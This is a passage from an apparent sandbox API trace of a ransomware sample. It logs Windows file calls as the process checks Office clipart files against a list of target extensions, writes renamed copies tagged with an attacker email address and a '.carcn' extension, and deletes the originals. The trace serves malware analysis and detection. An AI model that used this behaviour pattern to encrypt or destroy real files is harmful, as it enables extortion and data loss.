(lpString1=".jpg", lpString2=".WMF") returned -1 [0305.826] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.826] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0305.826] GetLastError () returned 0x0 [0305.826] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0306.276] WriteFile (in: hFile=0x374, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0306.278] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.278] WriteFile (in: hFile=0x374, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0306.278] SetEndOfFile (hFile=0x374) returned 1 [0306.278] CloseHandle (hObject=0x374) returned 1 [0306.278] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.278] SetEndOfFile (hFile=0x340) returned 1 [0306.279] CloseHandle (hObject=0x340) returned 1 [0306.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0306.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0306.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0306.294] lstrlenW (lpString=".doc") returned 4 [0306.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.294] lstrlenW (lpString=".docx") returned 5 [0306.294] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0306.294] lstrlenW (lpString=".pdf") returned 4 [0306.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.294] lstrlenW (lpString=".xls") returned 4 [0306.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.294] lstrlenW (lpString=".xlsx") returned 5 [0306.294] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0306.294] lstrlenW (lpString=".ppt") returned 4 [0306.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0306.295] lstrlenW (lpString=".zip") returned 4 [0306.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.295] lstrlenW (lpString=".rar") returned 4 [0306.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.295] lstrlenW (lpString=".bz2") returned 4 [0306.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.295] lstrlenW (lpString=".7z") returned 3 [0306.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0306.295] lstrlenW (lpString=".dbf") returned 4 [0306.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0306.295] lstrlenW (lpString=".1cd") returned 4 [0306.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0306.295] lstrlenW (lpString=".jpg") returned 4 [0306.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.683] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.683] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0306.684] GetLastError () returned 0x0 [0306.684] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x4540, lpOverlapped=0x0) returned 1 [0306.717] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x4550, lpOverlapped=0x0) returned 1 [0306.718] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.718] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0306.718] SetEndOfFile (hFile=0x340) returned 1 [0306.719] CloseHandle (hObject=0x340) returned 1 [0306.719] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.719] SetEndOfFile (hFile=0x318) returned 1 [0306.720] CloseHandle (hObject=0x318) returned 1 [0306.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0306.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0306.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0306.721] lstrlenW (lpString=".doc") returned 4 [0306.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.721] lstrlenW (lpString=".docx") returned 5 [0306.721] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0306.721] lstrlenW (lpString=".pdf") returned 4 [0306.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.721] lstrlenW (lpString=".xls") returned 4 [0306.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.721] lstrlenW (lpString=".xlsx") returned 5 [0306.721] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0306.721] lstrlenW (lpString=".ppt") returned 4 [0306.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0306.722] lstrlenW (lpString=".zip") returned 4 [0306.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.722] lstrlenW (lpString=".rar") returned 4 [0306.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.722] lstrlenW (lpString=".bz2") returned 4 [0306.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.722] lstrlenW (lpString=".7z") returned 3 [0306.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0306.722] lstrlenW (lpString=".dbf") returned 4 [0306.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0306.722] lstrlenW (lpString=".1cd") returned 4 [0306.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0306.722] lstrlenW (lpString=".jpg") returned 4 [0306.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.722] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.723] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0306.724] GetLastError () returned 0x0 [0306.724] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x19a8, lpOverlapped=0x0) returned 1 [0306.870] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x19b0, lpOverlapped=0x0) returned 1 [0306.871] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.871] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0306.871] SetEndOfFile (hFile=0x340) returned 1 [0306.871] CloseHandle (hObject=0x340) returned 1 [0306.871] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.871] SetEndOfFile (hFile=0x318) returned 1 [0306.872] CloseHandle (hObject=0x318) returned 1 [0306.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0306.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0306.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0306.873] lstrlenW (lpString=".doc") returned 4 [0306.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.873] lstrlenW (lpString=".docx") returned 5 [0306.874] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0306.874] lstrlenW (lpString=".pdf") returned 4 [0306.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.874] lstrlenW (lpString=".xls") returned 4 [0306.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.874] lstrlenW (lpString=".xlsx") returned 5 [0306.874] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0306.874] lstrlenW (lpString=".ppt") returned 4 [0306.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0306.874] lstrlenW (lpString=".zip") returned 4 [0306.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.874] lstrlenW (lpString=".rar") returned 4 [0306.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.874] lstrlenW (lpString=".bz2") returned 4 [0306.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.874] lstrlenW (lpString=".7z") returned 3 [0306.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0306.874] lstrlenW (lpString=".dbf") returned 4 [0306.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0306.874] lstrlenW (lpString=".1cd") returned 4 [0306.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0306.874] lstrlenW (lpString=".jpg") returned 4 [0306.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.875] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.875] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0306.875] GetLastError () returned 0x0 [0306.875] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x42a4, lpOverlapped=0x0) returned 1 [0306.904] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x42b0, lpOverlapped=0x0) returned 1 [0306.905] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.905] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0306.905] SetEndOfFile (hFile=0x340) returned 1 [0306.905] CloseHandle (hObject=0x340) returned 1 [0306.905] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.905] SetEndOfFile (hFile=0x318) returned 1 [0306.906] CloseHandle (hObject=0x318) returned 1 [0306.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0306.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0306.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0306.907] lstrlenW (lpString=".doc") returned 4 [0306.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.907] lstrlenW (lpString=".docx") returned 5 [0306.907] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0306.908] lstrlenW (lpString=".pdf") returned 4 [0306.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.908] lstrlenW (lpString=".xls") returned 4 [0306.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.908] lstrlenW (lpString=".xlsx") returned 5 [0306.908] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0306.908] lstrlenW (lpString=".ppt") returned 4 [0306.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0306.908] lstrlenW (lpString=".zip") returned 4 [0306.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.908] lstrlenW (lpString=".rar") returned 4 [0306.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.908] lstrlenW (lpString=".bz2") returned 4 [0306.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.908] lstrlenW (lpString=".7z") returned 3 [0306.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0306.908] lstrlenW (lpString=".dbf") returned 4 [0306.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0306.908] lstrlenW (lpString=".1cd") returned 4 [0306.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0306.908] lstrlenW (lpString=".jpg") returned 4 [0306.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.909] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.909] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0306.910] GetLastError () returned 0x0 [0306.910] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x305c, lpOverlapped=0x0) returned 1 [0306.925] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3060, lpOverlapped=0x0) returned 1 [0306.926] ReadFile (in: hFile=0x318, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.926] WriteFile (in: hFile=0x340, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0306.926] SetEndOfFile (hFile=0x340) returned 1 [0306.926] CloseHandle (hObject=0x340) returned 1 [0306.929] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.929] SetEndOfFile (hFile=0x318) returned 1 [0306.930] CloseHandle (hObject=0x318) returned 1 [0306.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0306.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0306.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0306.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0306.933] lstrlenW (lpString=".doc") returned 4 [0306.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.933] lstrlenW (lpString=".docx") returned 5 [0306.933] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0306.933] lstrlenW (lpString=".pdf") returned 4 [0306.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.933] lstrlenW (lpString=".xls") returned 4 [0306.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.933] lstrlenW (lpString=".xlsx") returned 5 [0306.933] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0306.933] lstrlenW (lpString=".ppt") returned 4 [0306.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0306.933] lstrlenW (lpString=".zip") returned 4 [0306.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.933] lstrlenW (lpString=".rar") returned 4 [0306.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.933] lstrlenW (lpString=".bz2") returned 4 [0306.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.933] lstrlenW (lpString=".7z") returned 3 [0306.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0306.934] lstrlenW (lpString=".dbf") returned 4 [0306.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0306.934] lstrlenW (lpString=".1cd") returned 4 [0306.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0306.934] lstrlenW (lpString=".jpg") returned 4 [0306.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.935] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.935] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0306.940] GetLastError () returned 0x0 [0306.940] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1364, lpOverlapped=0x0) returned 1 [0306.941] WriteFile (in: hFile=0x338, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1370, lpOverlapped=0x0) returned 1 [0306.942] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.942] WriteFile (in: hFile=0x338, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0306.942] SetEndOfFile (hFile=0x338) 